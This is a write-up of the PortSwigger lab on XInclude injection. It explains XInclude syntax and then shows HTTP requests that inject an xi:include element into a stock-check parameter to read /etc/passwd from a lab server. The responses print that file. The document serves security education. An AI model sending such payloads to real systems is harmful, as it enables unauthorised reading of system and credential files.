Security article
Exploiting XInclude to retrieve files
Exploiting XInclude to retrieve files: This lab has a Check stock feature that embeds user input inside a server-side XML document, which is then parsed. • PortSwigger • XXE • xml, xxe
🎯 Objective
This lab has a Check stock feature that embeds user input inside a server-side XML document, which is then parsed.
- Classic XXE is not possible because attackers cannot define
DOCTYPE. - Instead, we use XInclude injection to retrieve sensitive files (
/etc/passwd).
📘 What is XInclude?
- XInclude is part of the XML specification to merge XML sub-documents.
- Useful when input is embedded inside existing XML structures without
DOCTYPEcontrol.
Example: Book Import
<Book xmlns:xi="http://www.w3.org/2001/XInclude">
<Title>Learning Java</Title>
<xi:include href="chapter1.xml"/>
<xi:include href="chapter2.xml"/>
</Book>Importing as Text
<Example>
<Title>The Zoo Inventory Example</Title>
<xi:include parse="text" href="zooinventory.xml"/>
</Example>Using Fallbacks
<xi:include parse="text" href="zooinventory.xml">
<xi:fallback>This example is missing...</xi:fallback>
</xi:include>⚙️ Parser Configuration
Enabling XInclude in Java:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setNamespaceAware(true);
factory.setXIncludeAware(true);
DocumentBuilder parser = factory.newDocumentBuilder();
Document document = parser.parse(input);🧭 Exploit Steps
1️⃣ Initial Injection Attempt
POST /product/stock HTTP/1.1
Host: victim.site
Content-Type: application/x-www-form-urlencoded
productId=<xsisec xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="jujio"/>
</xsisec>&storeId=1Response:
400 Bad Request
An include with href 'jujio' failed, and no fallback element was found.✔ Confirms XInclude injection is possible.
2️⃣ Exploit to Read /etc/passwd
POST /product/stock HTTP/1.1
Host: victim.site
Content-Type: application/x-www-form-urlencoded
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>&storeId=1Response (snippet):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash✔ Successfully retrieved /etc/passwd.
✅ Key Takeaways
- XInclude injection bypasses the need for
DOCTYPE. - Effective when only partial XML control is possible.
- Impact relies on parser config (
XIncludeAware,NamespaceAware).